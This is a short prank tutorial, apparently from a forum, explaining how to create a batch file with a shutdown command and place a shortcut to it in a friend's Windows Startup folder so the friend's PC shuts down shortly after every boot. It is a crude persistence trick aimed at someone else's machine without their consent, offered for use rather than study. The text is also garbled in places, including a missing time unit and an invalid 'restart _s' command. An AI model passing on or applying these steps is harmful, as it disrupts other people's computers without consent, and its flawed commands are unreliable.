Make computer keep restarting

1.open note pad
2.type "shutdown -s" with out quotes
3.save the file with .bat extension
4.explaination,u have created a prog which shutdowns the pc with in 30
of executing the file
5. now open "x:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\" (x->is the drive on which ur windows has been installed and USERNAME is the username)
6.paste a shortcut on this directory

NOW WHEN EVER UR FRIEND STARTS HIS PC a count down will start after 30 sec his pc will shutdown

u can also maki his pc restart instead of shutting down.. just replace "shutdown -s" "restart _s"